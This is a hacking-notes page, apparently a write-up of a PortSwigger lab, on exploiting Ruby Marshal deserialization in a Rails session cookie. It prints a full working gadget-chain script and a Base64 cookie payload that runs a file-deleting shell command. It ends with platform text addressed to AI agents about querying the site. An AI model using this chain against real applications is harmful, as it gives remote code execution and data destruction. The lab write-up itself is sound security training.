> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/deserialization/ruby-deserialization-with-documented-gadget.md).

# Ruby Deserialization with Documented Gadget

Ruby Deserialization with Documented Gadget notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Exploiting Ruby Deserialization Using a Documented Gadget Chain

**Lab Background**

This lab uses a session mechanism based on serialization and is based on the **Ruby on Rails** framework. / There are publicly documented\*\* gadgets that allow a \*\* remote code execution (NCE)\*\* via `Marshal`.

Objective:/ Create a malicious serialized object, inject into the session cookie and delete the file:

```bash
/home/carlos/morale.txt
```

Identifier provided:

wiener : peter

**Analysis of the session**

After authentication, the server provides a serialized session cookie in Base64:

{% code overflow="wrap" %}

```bash
BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiV6YmI1YWVjejlrZXJzajU3bHZsanloaXQyanR6aTNsMgY7B0YK
```

{% endcode %}

This clearly indicates the use of `Marshal.dump` on the server side.

A documented gadgets string based on the following Ruby classes is used:

* `Gem::SpecFetcher`
* `Gem::Installer`
* `Gem::Requirement`
* `Gem::RequestSet`
* `Net::WriteAdapter`
* `Gem::Package::TarReader`

This string triggers a call to `Kernel.system`.

**Ruby Payload Construction**

The following code is used to create a serialized object running the target command:

```ruby
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload
```

```ruby
[cGem::SpecFetchercGem::InstallerU:Gem::Requirement[o:
Gem::Package::TarReader:@ioo:Net::BufferedIO;o:#Gem::Package::TarReader::Entry:
@readi:
@headerI"aaa:ET:@debug_outputo:Net::WriteAdapter:
@socketo:Gem::RequestSet:
@setso;;m
Kernel:@method_id:
system:
@git_setI"rm /home/carlos/morale.txt;
T;:
resolve
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-658f72939e40860c50c28c0289e10a497f1459e4%2F%7B521CCAD3-2CAC-4E01-B1CD-107268C319DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Encodage en Base64**

In order to inject payload into the session cookie, it is encoded in Base64:

```java
puts Base64.encode64(payload)
```

Final chain obtained:

{% code overflow="wrap" %}

```bash
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de57fa4300c36198a97dc70a8d16a8e806842c50%2F%7BC67DD4CD-F48D-4BE1-9FB2-B91DFDF214BA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/deserialization/ruby-deserialization-with-documented-gadget.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
